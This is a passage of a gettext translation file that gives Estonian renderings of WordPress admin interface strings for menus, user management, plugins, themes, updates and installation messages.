msgstr "Sul pole piisavaid õigusi selle veebilehe pluginate muutmiseks."

#: wp-admin/includes/nav-menu.php:641 wp-admin/includes/nav-menu.php:881
msgid "No items."
msgstr "Tühi."

#: wp-admin/nav-menus.php:712
msgid "Menu Name"
msgstr "Menüü nimi"

#: wp-admin/includes/nav-menu.php:1220
msgid "CSS Classes"
msgstr "CSS-klassid"

#: wp-admin/includes/nav-menu.php:150
msgid "Navigation Label"
msgstr "Navigatsioonimärgis"

#: wp-admin/includes/schema.php:1030
msgid "To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a <code>*</code> hostname record pointing at your web server in your DNS configuration tool."
msgstr "Alamdomeenide häälestamiseks peab nimeserveris olema vastav kirje. Enamasti tähendab see tärniga (<code>*</code>) kirjet sinu veebiserveri kohta kasutatavas nimeserveris."

#: wp-admin/includes/schema.php:1026
msgid "The installer attempted to contact a random hostname (<code>%1$s</code>) on your domain."
msgstr "Paigaldaja üritas võtta ühendust suvalise serveriga (<code>%1$s</code> selles domeenis."

#: wp-admin/install.php:121
msgid "Usernames can have only alphanumeric characters, spaces, underscores, hyphens, periods and the @ symbol."
msgstr "Kasutajanimed võivad sisaldada üksnes tähti, numbreid, tühikuid, allkriipse, poolituskriipse, punkte ja @-märki."

#: wp-admin/nav-menus.php:234
msgid "The menu item has been successfully deleted."
msgstr "Menüüelement edukalt kustutatud."

#: wp-admin/includes/class-wp-plugin-install-list-table.php:197
#: wp-admin/includes/class-wp-theme-install-list-table.php:125
#: wp-admin/setup-config.php:212
msgid "Try again"
msgstr "Proovi uuesti"

#: wp-admin/includes/ajax-actions.php:1187
msgid "Please provide a custom field name."
msgstr "Palun sisesta välja väärtus."

#: wp-admin/custom-background.php:325
msgid "Display Options"
msgstr "Kuvamisseaded"

#: wp-admin/users.php:330
msgid "You have specified these users for removal:"
msgstr "Sa oled eemaldamas järgmisi kasutajaid:"

#: wp-admin/users.php:142 wp-admin/users.php:191
msgid "User deletion is not allowed from this screen."
msgstr "Siit ei saa kasutajaid kustutada."

#: wp-admin/users.php:168
msgid "You can&#8217;t delete that user."
msgstr "Sa ei saa seda kasutajat kustutada."

#: wp-admin/users.php:350
msgid "Confirm Removal"
msgstr "Kinnita eemaldamine"

#: wp-admin/users.php:352
msgid "There are no valid users selected for removal."
msgstr "Ühtki kasutajat pole eemaldamiseks välja valitud."

#: wp-admin/users.php:408
msgid "You can't remove the current user."
msgstr "Aktiivset kasutajat ei saa eemaldada."

#: wp-admin/users.php:409
msgid "Other users have been removed."
msgstr "Teised kasutajad eemaldati."

#: wp-admin/includes/class-wp-upgrader-skins.php:208
msgid "%1$s updated successfully."
msgstr "%1$s uuendamine õnnestus."

#: wp-admin/includes/class-wp-upgrader-skins.php:208
msgid "Show Details"
msgstr "Täpsem vaade"

#: wp-admin/includes/class-wp-upgrader-skins.php:208
msgid "Hide Details"
msgstr "Üldvaade"

#: wp-admin/includes/user.php:439
msgid "Yes, take me to my profile page"
msgstr "Jah, ava minu kasutajaseaded"

#: wp-admin/includes/upgrade.php:79
msgid "Your chosen password."
msgstr "Sinu valitud parool."

#: wp-admin/includes/user.php:440
msgid "No thanks, do not remind me again"
msgstr "Ei tänan - rohkem pole vaja meelde tuletada"

#: wp-admin/post.php:273
msgid "You are not allowed to move this item out of the Trash."
msgstr "Sul ei ole õigust seda elementi taastada."

#: wp-admin/edit.php:126 wp-admin/edit.php:129 wp-admin/post.php:297
#: wp-admin/post.php:300 wp-admin/upload.php:174
msgid "Error in deleting."
msgstr "Viga kustutamisel."

#: wp-admin/edit.php:110 wp-admin/post.php:276
msgid "Error in restoring from Trash."
msgstr "Viga taastamisel."

#: wp-admin/edit.php:107
msgid "You are not allowed to restore this item from the Trash."
msgstr "Sul ei ole õigust seda prügikastist taastada."

#: wp-admin/edit.php:96 wp-admin/post.php:258
msgid "Error in moving to Trash."
msgstr "Viga prügikasti saatmisel."

#: wp-admin/edit-comments.php:201
msgid "%s comment restored from the Trash"
msgid_plural "%s comments restored from the Trash"
msgstr[0] "%s kommentaar taastati"
msgstr[1] "%s kommentaari taastati"

#: wp-admin/edit-comments.php:197
msgid "%s comment moved to the Trash."
msgid_plural "%s comments moved to the Trash."
msgstr[0] "%s kommentaar saadeti prügikasti."
msgstr[1] "%s kommentaari saadeti prügikasti."

#: wp-admin/edit.php:88 wp-admin/post.php:250
msgid "You are not allowed to move this item to the Trash."
msgstr "Sul ei ole õigust seda prügikasti saata."

#: wp-admin/update-core.php:299
msgid "The following themes have new versions available. Check the ones you want to update and then click &#8220;Update Themes&#8221;."
msgstr "Järgmistele teemadele on saadaval uuendusi.  Vali soovitavad ja klõpsa \"Uuenda teemasid\"."

#: wp-admin/user-new.php:217
msgid "User has been added to your site."
msgstr "Kasutaja lisati sinu veebilehele."

#: wp-admin/user-new.php:220
msgid "That user is already a member of this site."
msgstr "See kasutaja on juba siin registreeritud."

#: wp-admin/user-new.php:214
msgid "Invitation email sent to user. A confirmation link must be clicked for them to be added to your site."
msgstr "Kasutajale saadeti e-kirjaga kutse.  Tema lisamiseks peab ta klõpsama kirjas olevat kinnitusviidet."

#: wp-admin/update-core.php:222
msgid "The following plugins have new versions available. Check the ones you want to update and then click &#8220;Update Plugins&#8221;."
msgstr "Järgmistele pluginatele on saadaval uuendusi.  Vali soovitavad ja klõpsa \"Uuenda pluginad\"."

#: wp-admin/options.php:171
msgid "The <code>%1$s</code> setting is unregistered. Unregistered settings are deprecated. See http://codex.wordpress.org/Settings_API"
msgstr "Seadistus <code>%1$s</code> on registreerimata ja seda pole soovitav kasutada. Vaata lähemalt aadressilt http://codex.wordpress.org/Settings_API"

#: wp-admin/custom-background.php:283
msgid "This will remove the background image. You will not be able to restore any customizations."
msgstr "See eemaldab taustapildi, ühtki hilisemat muudatust enam kasutada ei saa."

#: wp-admin/edit-tag-form.php:14
msgid "You did not select an item for editing."
msgstr "Sa ei valinud muutmiseks midagi."

#: wp-admin/includes/class-wp-themes-list-table.php:95
msgid "Only the current theme is available to you. Contact the %s administrator for information about accessing additional themes."
msgstr "Sul on kasutada ainult käesolev teema. Täiendavate teemade kasutuselevõtuks võta ühendust veebilehe %s halduriga."

#: wp-admin/includes/file.php:24
msgid "Author Template"
msgstr "Autorimall"

#: wp-admin/includes/file.php:15
msgid "Visual Editor Stylesheet"
msgstr "Visuaalredaktori stiilileht"

#: wp-admin/includes/file.php:25
msgid "Tag Template"
msgstr "Sildimall"

#: wp-admin/edit-form-advanced.php:88
msgid "Page saved."
msgstr "Leht salvestati."

#: wp-admin/includes/class-wp-plugin-install-list-table.php:407
msgid "This plugin is already installed and is up to date"
msgstr "See plugin on juba paigaldatud ja värske"

#. translators: 1: Plugin name and version.
#: wp-admin/includes/class-wp-plugin-install-list-table.php:416
#: wp-admin/includes/class-wp-plugins-list-table.php:527
msgid "More information about %s"
msgstr "Vaata %s kohta lisaks..."

#: wp-admin/includes/class-wp-plugin-install-list-table.php:401
#: wp-admin/update-core.php:40
msgid "Update Now"
msgstr "Uuenda kohe"

#: wp-admin/user-edit.php:340
msgid "Grant this user super admin privileges for the Network."
msgstr "Anna sellele kasutajale halduriõigused kogu võrgustiku jaoks."

#: wp-admin/user-edit.php:194
msgid "Important:"
msgstr "NB! "

#: wp-admin/user-edit.php:194
msgid "This user has super admin privileges."
msgstr "Sel kasutajal on halduriõigused."

#: wp-admin/includes/post.php:1286
msgid "Remove featured image"
msgstr "Eemalda tunnuspilt"

#: wp-admin/edit-form-advanced.php:196
msgid "Featured Image"
msgstr "Tunnuspilt"

#: wp-admin/includes/class-wp-theme-install-list-table.php:241
#: wp-admin/includes/class-wp-theme-install-list-table.php:362
msgid "Update to version %s"
msgstr "Uuenda versioonile %s"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:291
msgid "You are about to archive the site %s."
msgstr "Oled arhiveerimas saiti %s."

#: wp-admin/includes/class-wp-ms-sites-list-table.php:294
msgid "You are about to unspam the site %s."
msgstr "Sa eemaldad saidilt %s spämmi tähise."

#: wp-admin/includes/class-wp-ms-sites-list-table.php:296
msgid "You are about to mark the site %s as spam."
msgstr "Oled märkimas saiti %s spämmiks."

#: wp-admin/includes/class-wp-ms-sites-list-table.php:299
msgid "You are about to delete the site %s."
msgstr "Oled kustutamas saiti %s."

#: wp-admin/includes/class-wp-ms-sites-list-table.php:289
msgid "You are about to unarchive the site %s."
msgstr "Oled võtmas arhiivist välja saiti %s."

#: wp-admin/press-this.php:551
msgid "You cannot modify this Taxonomy."
msgstr "Vabandust, sa ei saa seda taksonoomiat muuta."

#: wp-admin/options-reading.php:133
msgid "items"
msgstr "elementi"

#: wp-admin/user-edit.php:313
msgid "Usernames cannot be changed."
msgstr "Kasutajanimesid ei saa muuta."

#: wp-admin/nav-menus.php:253
msgid "The menu has been successfully deleted."
msgstr "Menüü edukalt kustutatud."

#: wp-admin/includes/dashboard.php:287
msgid "Your site is asking search engines not to index its content"
msgstr "Sinu veebileht soovib, et otsimootorid tema sisu ei indekseeriks"

#: wp-admin/plugins.php:13
msgid "You do not have sufficient permissions to manage plugins for this site."
msgstr "Sul pole piisavaid õigusi selle veebilehe pluginate haldamiseks."

#: wp-admin/options-general.php:110
msgid "Enter the address here if you want your site homepage <a href=\"http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory\">to be different from the directory</a> you installed WordPress."
msgstr "Sisesta siia aadress juhul, kui soovid veebilehe aadressiks <a href=\"http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory\">midagi muud kui paigalduskataloogi aadressi</a>."

#: wp-admin/options-general.php:100
msgid "In a few words, explain what this site is about."
msgstr "Kirjelda paari sõnaga, mida see veebileht endast kujutab."

#: wp-admin/options-reading.php:64 wp-admin/options-reading.php:144
#: wp-admin/options-reading.php:145
msgid "Site Visibility"
msgstr "Veebilehe nähtavus"

#: wp-admin/includes/template.php:1217
msgid "The miscellaneous options group has been removed. Use another settings group."
msgstr "Varia-valikuterühm on eemaldatud. Vali mõni muu."

#: wp-admin/includes/nav-menu.php:182
msgid "The description will be displayed in the menu if the current theme supports it."
msgstr "Seda kirjeldust näidatakse menüüs, kui kasutatav teema seda toetab."

#: wp-admin/options.php:148
msgid "You do not have sufficient permissions to modify unregistered settings for this site."
msgstr "Sul pole sellel veebilehel registreerimata seadete muutmise õigusi."

#: wp-admin/options-general.php:139
msgid "There is a pending change of the admin e-mail to <code>%1$s</code>. <a href=\"%2$s\">Cancel</a>"
msgstr "Halduri e-aadressi on muudetud:  <code>%1$s</code>. <a href=\"%2$s\">Tühista</a>"

#: wp-admin/includes/nav-menu.php:156
msgid "Title Attribute"
msgstr "Pealkirja atribuut"

#: wp-admin/includes/nav-menu.php:1219
msgid "Link Target"
msgstr "Sihtkoht"

#: wp-admin/includes/nav-menu.php:168
msgid "CSS Classes (optional)"
msgstr "CSS-klassid (soovi korral)"

#: wp-admin/nav-menus.php:716 wp-admin/nav-menus.php:787
msgid "Save Menu"
msgstr "Salvesta menüü"

#: wp-admin/install.php:130
msgid "A password will be automatically generated for you if you leave this blank."
msgstr "Kui jätad selle tühjaks, genereeritakse parool automaatselt."

#: wp-admin/install.php:129
msgid "Password, twice"
msgstr "Parool (kaks korda)"

#: wp-admin/includes/class-wp-upgrader-skins.php:357
msgid "Updating Theme %1$s (%2$d/%3$d)"
msgstr "Uuendan teemat %1$s (%2$d/%3$d)"

#: wp-admin/includes/schema.php:866
msgid "You must provide a domain name."
msgstr "Domeeninimi on vajalik."

#: wp-admin/includes/schema.php:868
msgid "You must provide a name for your network of sites."
msgstr "Pead oma veebivõrgustikule panema nime."

#: wp-admin/includes/schema.php:872
msgid "The network already exists."
msgstr "Võrgustik on juba olemas."

#: wp-admin/includes/schema.php:876
msgid "You must provide a valid e-mail address."
msgstr "Vaja on toimivat e-postiaadressi."

#: wp-admin/includes/schema.php:1028
msgid "This resulted in an error message: %s"
msgstr "Saadi veateade: %s"

#: wp-admin/includes/schema.php:1031
msgid "You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message."
msgstr "Veebileht on kasutatav, kuid loodavad alamdomeenid ei pruugi toimida. Kui oled kindel, et DNS töötab korrektselt, eira seda teadet."

#: wp-admin/includes/user.php:436
msgid "Notice:"
msgstr "Märkus:"

#: wp-admin/edit-form-advanced.php:470
msgid "Get Shortlink"
msgstr "Hangi lühiviide"

#: wp-admin/includes/class-wp-upgrader-skins.php:313
msgid "Updating Plugin %1$s (%2$d/%3$d)"
msgstr "Uuendan pluginat %1$s (%2$d/%3$d)"

#: wp-admin/includes/class-wp-upgrader-skins.php:207
msgid "The update of %1$s failed."
msgstr "%1$s uuendamine ebaõnnestus."

#: wp-admin/includes/upgrade.php:92
msgid "The password you chose during the install."
msgstr "Parool, mille paigalduse ajal valisid."

#: wp-admin/includes/upgrade.php:82
msgid "User already exists. Password inherited."
msgstr "Kasutaja on juba olemas. Parool jäeti endiseks."

#: wp-admin/update-core.php:65 wp-admin/upgrade.php:76
msgid "You cannot update because <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s."
msgstr "Uuendamine ei õnnestu, kuna <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> vajab  MySQLi versiooni %2$s või uuemat. Sul on kasutusel  versioon %3$s."

#: wp-admin/includes/class-wp-upgrader.php:2092
#: wp-admin/includes/update-core.php:1135 wp-admin/update-core.php:420
msgid "WordPress updated successfully"
msgstr "WordPress on edukalt uuendatud."

#: wp-admin/update-core.php:382
msgid "Update WordPress"
msgstr "Uuenda WordPressi"

#: wp-admin/plugins.php:116 wp-admin/update-core.php:225
#: wp-admin/update-core.php:282 wp-admin/update-core.php:579
#: wp-admin/update-core.php:583
msgid "Update Plugins"
msgstr "Uuenda pluginaid"

#: wp-admin/update-core.php:63 wp-admin/upgrade.php:74
msgid "You cannot update because <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s."
msgstr "Uuendamine ei õnnestu, kuna <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> vajab PHP versiooni %2$s või uuemat. Sul on kasutusel PHP versioon %3$s."

#: wp-admin/update-core.php:61 wp-admin/upgrade.php:72
msgid "You cannot update because <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s."
msgstr "Uuendamine ei õnnestu, kuna <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> vajab PHP versiooni %2$s või uuemat ning MySQLi versiooni %3$s või uuemat. Sul on kasutusel PHP versioon %4$s ja MySQLi versioon %5$s."

#: wp-admin/update-core.php:462 wp-admin/update-core.php:501
msgid "WordPress Updates"
msgstr "WordPressi uuendused"

#: wp-admin/includes/nav-menu.php:132 wp-admin/includes/nav-menu.php:134
msgid "Edit Menu Item"
msgstr "Muuda menüüelementi"

#: wp-admin/options-general.php:134
msgid "This address is used for admin purposes. If you change this we will send you an e-mail at your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>"
msgstr "Seda aadressi kasutatakse haldamisel. Kui seda muuta, saadetakse kinnituse saamiseks sellele e-kiri. <strong>Uus aadress ei hakka tööle enne kinnitamist.</strong>"

#: wp-admin/options-general.php:210
msgid "Daylight saving time begins on: <code>%s</code>."
msgstr "Suveajale minnakse üle: <code>%s</code>."

#. translators: 1: plugin name, 2: plugin author
#: wp-admin/plugins.php:279
msgid "<strong>%1$s</strong> by <em>%2$s</em> (will also <strong>delete its data</strong>)"
msgstr "<strong>%1$s</strong>, autor <em>%2$s</em> (see <strong>kustutab ka kõik selle andmed</strong>)"

#: wp-admin/plugins.php:272
msgid "You are about to remove the following plugin:"
msgid_plural "You are about to remove the following plugins:"
msgstr[0] "Sa oled eemaldamas järgmist pluginat:"
msgstr[1] "Sa oled eemaldamas järgmisi pluginaid:"

#: wp-admin/plugins.php:267
msgid "Delete Plugin"
msgid_plural "Delete Plugins"
msgstr[0] "Kustuta plugin"
msgstr[1] ""

#: wp-admin/plugins.php:290
msgid "Are you sure you wish to delete these files and data?"
msgstr "Oled kindel, et tahad need failid ja andmed kustutada?"

#: wp-admin/plugins.php:302
msgid "Yes, Delete these files and data"
msgstr "Jah, kustuta need failid ja andmed"

#: wp-admin/includes/class-wp-plugins-list-table.php:386
msgid "Requires <code>%s</code> in <code>wp-config.php</code>."
msgstr "Vajab seadistust <code>%s</code> failis <code>wp-config.php</code>."

#: wp-admin/includes/class-wp-plugins-list-table.php:386
msgid "Inactive:"
msgstr "Väljalülitatud:"

#: wp-admin/includes/class-wp-plugins-list-table.php:268
msgid "Must-Use <span class=\"count\">(%s)</span>"
msgid_plural "Must-Use <span class=\"count\">(%s)</span>"
msgstr[0] "Kohustuslik <span class=\"count\">(%s)</span>"
msgstr[1] "Kohustuslikud <span class=\"count\">(%s)</span>"

#: wp-admin/about.php:168
msgid "Go to Dashboard"
msgstr "Töölauale"

#: wp-admin/nav-menus.php:330 wp-admin/nav-menus.php:340
msgid "Please enter a valid menu name."
msgstr "Sisesta toimiv menüünimi."

#: wp-admin/nav-menus.php:783
msgid "Delete Menu"
msgstr "Kustuta menüü"

#: wp-admin/includes/nav-menu.php:590
msgid "Menu Item"
msgstr "Menüüelement"

#: wp-admin/includes/nav-menu.php:698 wp-admin/includes/nav-menu.php:938
msgid "View All"
msgstr "Vaata kõiki"

#: wp-admin/includes/nav-menu.php:596 wp-admin/includes/nav-menu.php:839
#: wp-admin/includes/nav-menu.php:1027
msgid "Add to Menu"
msgstr "Lisa menüüsse"

#: wp-admin/options-general.php:187
msgid "This timezone is currently in daylight saving time."
msgstr "Selles ajavööndis kehtib hetkel suveaeg."

#: wp-admin/options-general.php:215
msgid "This timezone does not observe daylight saving time."
msgstr "See ajavöönd ei kasuta suveaega."

#: wp-admin/includes/class-wp-plugins-list-table.php:271
msgid "Drop-ins <span class=\"count\">(%s)</span>"
msgid_plural "Drop-ins <span class=\"count\">(%s)</span>"
msgstr[0] "Täiendid <span class=\"count\">(%s)</span>"
msgstr[1] "Täiendid <span class=\"count\">(%s)</span>"

#: wp-admin/includes/plugin.php:420
msgid "Executed before Multisite is loaded."
msgstr "Täideti enne multirežiimi laadimist."

#: wp-admin/includes/plugin.php:416
msgid "External object cache."
msgstr "Väline objektipuhver."

#: wp-admin/includes/plugin.php:415
msgid "Custom maintenance message."
msgstr "Kohandatud hooldusteade."

#: wp-admin/includes/plugin.php:414
msgid "Custom install script."
msgstr "Kohandatud paigaldusskript."

#: wp-admin/includes/plugin.php:413
msgid "Custom database error message."
msgstr "Kohandatud andmebaasi-veateade."

#: wp-admin/includes/file.php:287
msgid "File is empty. Please upload something more substantial."
msgstr "Fail on tühi - palun lae midagi sisukamat..."

#: wp-admin/includes/class-wp-theme-install-list-table.php:249
msgid "Install %s"
msgstr "Paigalda %s"

#: wp-admin/includes/plugin.php:412
msgid "Custom database class."
msgstr "Kohandatud andmebaasiklass."

#: wp-admin/includes/plugin.php:411
msgid "Advanced caching plugin."
msgstr "Täiendava puhverdamise plugin."

#: wp-admin/install.php:172
msgid "You cannot install because <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s."
msgstr "Paigaldamine ei õnnestu, kuna <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> vajab MySQL-i versiooni %2$s või uuemat, sul on kasutusel versioon %3$s."

#: wp-admin/install.php:170
msgid "You cannot install because <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s."
msgstr "Paigaldamine ei õnnestu, kuna <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> vajab PHP versiooni %2$s või uuemat, sul on kasutusel versioon %3$s."

#: wp-admin/includes/update.php:210
msgid "<a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> is available! Please notify the site administrator."
msgstr "<a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress  %1$s</a> on saadaval! Palun teata sellest enda veebilehe haldurile."

#: wp-admin/includes/update.php:208
msgid "<a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> is available! <a href=\"%2$s\">Please update now</a>."
msgstr "<a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress  %1$s</a> on saadaval! <a href=\"%2$s\">Võiksid seda kohe uuendada.</a>"

#: wp-admin/install.php:168
msgid "You cannot install because <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s."
msgstr "Paigaldamine ei õnnestu, kuna <a href=\"http://codex.wordpress.org/Version_%1$s\">WordPress %1$s</a> vajab PHP versiooni %2$s või uuemat ja MySQL-i versiooni %3$s või uuemat. Sul on  PHP versioon %4$s ja MySQL-i versioon %5$s."

#: wp-admin/includes/class-wp-ms-sites-list-table.php:284
msgid "You are about to activate the site %s"
msgstr "Oled aktiveerimas saiti %s"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:286
msgid "You are about to deactivate the site %s"
msgstr "Oled lülitamas välja saiti %s"

#: wp-admin/comment.php:147
msgid "This comment is currently marked as spam."
msgstr "See kommentaar on märgitud spämmiks."

#: wp-admin/comment.php:87
msgid "Moderate Comment"
msgstr "Modereeri kommentaari"

#: wp-admin/comment.php:144
msgid "This comment is currently approved."
msgstr "See kommentaar on heaks kiidetud."

#: wp-admin/edit-comments.php:209
msgid "This comment is already approved."
msgstr "See kommentaar on juba heaks kiidetud."

#: wp-admin/comment.php:150
msgid "This comment is currently in the Trash."
msgstr "See kommentaar on prügikastis."

#: wp-admin/custom-background.php:349
msgid "Repeat"
msgstr "Korda"

#: wp-admin/edit-comments.php:212
msgid "This comment is already in the Trash."
msgstr "See kommentaar on juba prügikastis."

#: wp-admin/edit-comments.php:212
msgid "View Trash"
msgstr "Vaata prügikasti"

#: wp-admin/edit-comments.php:215
msgid "This comment is already marked as spam."
msgstr "See kommentaar on juba spämmiks märgitud."

#: wp-admin/includes/screen.php:953
msgid "Screen Options"
msgstr "Ekraaniseaded"

#: wp-admin/includes/screen.php:1106
msgid "Screen Layout"
msgstr "Ekraanikujundus"

#: wp-admin/includes/screen.php:1108
msgid "Number of Columns:"
msgstr "Veergude arv:"

#: wp-admin/includes/theme-install.php:99 wp-admin/theme-install.php:145
msgid "Feature Filter"
msgstr "Omaduste filter"

#: wp-admin/includes/theme.php:188
msgid "Tan"
msgstr "Tumekollane"

#: wp-admin/includes/theme.php:191
msgid "Dark"
msgstr "Tume"

#: wp-admin/includes/theme.php:199
msgid "One Column"
msgstr "Üks veerg"

#: wp-admin/includes/theme.php:200
msgid "Two Columns"
msgstr "Kaks veergu"

#: wp-admin/includes/theme.php:201
msgid "Three Columns"
msgstr "Kolm veergu"

#: wp-admin/includes/theme.php:202
msgid "Four Columns"
msgstr "Neli veergu"

#: wp-admin/includes/theme.php:203
msgid "Left Sidebar"
msgstr "Vasak külgpaan"

#: wp-admin/includes/theme.php:204
msgid "Right Sidebar"
msgstr "Parem külgpaan"

#: wp-admin/includes/theme.php:207 wp-admin/includes/theme.php:257
#: wp-admin/theme-install.php:157
msgid "Features"
msgstr "Omadused"

#: wp-admin/includes/theme.php:212
msgid "Custom Colors"
msgstr "Kasutaja värvid"

#: wp-admin/includes/theme.php:225
msgid "Theme Options"
msgstr "Teemavalikud"

#: wp-admin/includes/theme.php:226
msgid "Threaded Comments"
msgstr "Lõimedega kommentaarid"

#: wp-admin/includes/theme.php:224
msgid "Sticky Post"
msgstr "Esilehepostitus"

#: wp-admin/includes/theme.php:221
msgid "Microformats"
msgstr "Mikrovormingud"

#: wp-admin/includes/theme.php:230 wp-admin/includes/theme.php:258
msgid "Subject"
msgstr "Teema"

#: wp-admin/includes/theme.php:231
msgid "Holiday"
msgstr "Puhkepäev"

#: wp-admin/includes/theme.php:232
msgid "Photoblogging"
msgstr "Fotoblogimine"

#: wp-admin/includes/theme.php:233
msgid "Seasonal"
msgstr "Hooajaline"

#: wp-admin/includes/theme-install.php:131
msgid "Find Themes"
msgstr "Otsi teemat"

#: wp-admin/includes/theme-install.php:139
msgid "If you have a theme in a .zip format, you may install it by uploading it here."
msgstr "Kui soovitud teema on pakitud .zip-vormingusse, saad selle siit üles laadida."

#: wp-admin/includes/class-wp-theme-install-list-table.php:279
#: wp-admin/includes/class-wp-themes-list-table.php:200
msgid "Details"
msgstr "Täpsem vaade"

#: wp-admin/includes/theme-install.php:197
msgid "Theme Install"
msgstr "Paigalda teema"

#: wp-admin/theme-install.php:260 wp-admin/themes.php:333
msgid "Version: %s"
msgstr "Versioon %s"

#: wp-admin/includes/theme.php:61
msgid "Unable to locate WordPress theme directory."
msgstr "Ei leia WordPressi teemade kataloogi."

#: wp-admin/includes/theme.php:68
msgid "Could not fully remove the theme %s."
msgstr "Teema %s täielik eemaldamine ei õnnestu."

#: wp-admin/includes/update-core.php:802
msgid "The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s."
msgstr "Uuendust ei saa paigaldada, kuna WordPress %1$s vajab PHP versiooni %2$s või uuemat ning MySQLi versiooni %3$s või uuemat. Sul on kasutusel PHP versioon %4$s ja MySQLi versioon %5$s."

#: wp-admin/includes/update-core.php:804
msgid "The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s."
msgstr "Uuendust ei saa paigaldada, kuna WordPress %1$s vajab PHP versiooni %2$s või uuemat. Sul on kasutusel versioon %3$s."

#: wp-admin/includes/update-core.php:806
msgid "The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s."
msgstr "Uuendust ei saa paigaldada, kuna WordPress %1$s vajab MySQLi versiooni %2$s või uuemat. Sul on kasutusel versioon %3$s."

#: wp-admin/includes/update-core.php:760
msgid "Verifying the unpacked files&#8230;"
msgstr "Kontrollin lahtipakitud faile"

#: wp-admin/includes/update-core.php:773
msgid "The update could not be unpacked"
msgstr "Uuenduse lahtipakkimine ebaõnnestus"

#: wp-admin/includes/update-core.php:1016
msgid "Upgrading database&#8230;"
msgstr "Uuendan andmebaasi"

#: wp-admin/includes/update.php:181
msgid "You are using a development version (%1$s). Cool! Please <a href=\"%2$s\">stay updated</a>."
msgstr "Kasutad arendusversiooni (%1$s). Tubli! Palun <a href=\"%2$s\">jälgi ka arendusprotsessi</a>."

#: wp-admin/includes/update.php:184
msgid "<a href=\"%1$s\">Get Version %2$s</a>"
msgstr "<a href=\"%1$s\">Hangi versioon %2$s</a>"

#: wp-admin/includes/update.php:230
msgid "Update to %s"
msgstr "Uuenda versioonile %s"

#: wp-admin/includes/update.php:230
msgid "Latest"
msgstr "Viimased"

#: wp-admin/includes/update.php:425
msgid "An automated WordPress update has failed to complete - <a href=\"%s\">please attempt the update again now</a>."
msgstr "WordPressi automaatuuendus ei suutnud tööd lõpetada - <a href=\"%s\">palun proovi uuesti</a>."

#: wp-admin/includes/update.php:427
msgid "An automated WordPress update has failed to complete! Please notify the site administrator."
msgstr "WordPressi automaatuuendus ei suutnud tööd lõpetada - palun teata sellest enda veebilehe haldurile."

#: wp-admin/includes/upgrade.php:73
msgid "<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you."
msgstr "<strong><em>Jäta parool meelde!</em></strong> See on  <em>juhuslikult</em> genereeritud märgiühend. "

#. translators: Default category slug
#: wp-admin/includes/upgrade.php:125
msgctxt "Default category slug"
msgid "Uncategorized"
msgstr "Määratlemata"

#: wp-admin/includes/upgrade.php:156
msgid "Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!"
msgstr "Tere tulemast WordPressi. See on sinu esimene postitus. Muuda seda või kustuta see ning alusta blogimist!"

#: wp-admin/includes/upgrade.php:165
msgid "Hello world!"
msgstr "Tere-tere!"

#. translators: Default post slug
#: wp-admin/includes/upgrade.php:167
msgctxt "Default post slug"
msgid "hello-world"
msgstr "tere-tere"

#: wp-admin/includes/upgrade.php:179
msgid "Mr WordPress"
msgstr "hr. WordPress"

#: wp-admin/includes/user.php:125 wp-admin/includes/user.php:127
msgid "<strong>ERROR</strong>: You entered your new password only once."
msgstr "<strong>VIGA</strong>: Sa sisestasid enda uue parooli ainult ühe korra."

#: wp-admin/includes/user.php:130
msgid "<strong>ERROR</strong>: Please enter your password."
msgstr "<strong>VIGA</strong>: Palun sisesta enda parool."

#: wp-admin/includes/user.php:132
msgid "<strong>ERROR</strong>: Please enter your password twice."
msgstr "<strong>VIGA</strong>: Palun sisesta enda parool kaks korda."

#: wp-admin/includes/user.php:137
msgid "<strong>ERROR</strong>: Passwords may not contain the character \"\\\"."
msgstr "<strong>VIGA</strong>: Parool ei tohi sisaldada sümbolit \"\\\"."

#: wp-admin/includes/user.php:141
msgid "<strong>ERROR</strong>: Please enter the same password in the two password fields."
msgstr "<strong>VIGA</strong>: Palun sisesta sama parool mõlemasse  paroolivälja."

#: wp-admin/includes/user.php:154
msgid "<strong>ERROR</strong>: Please enter an e-mail address."
msgstr "<strong>VIGA</strong>: Palun sisesta e-postiaadress."

#: wp-admin/includes/deprecated.php:557
msgid "No matching users were found!"
msgstr "Selliseid kasutajaid ei leitud!"

#: wp-admin/install.php:70
msgid "WordPress &rsaquo; Installation"
msgstr "WordPress &rsaquo; Paigaldus"

#: wp-admin/setup-config.php:162
msgid "User Name"
msgstr "Kasutajanimi"

#: wp-admin/install.php:117
msgid "User(s) already exists."
msgstr "Kasutaja(d) on juba olemas."

#: wp-admin/install.php:141
msgid "Your E-mail"
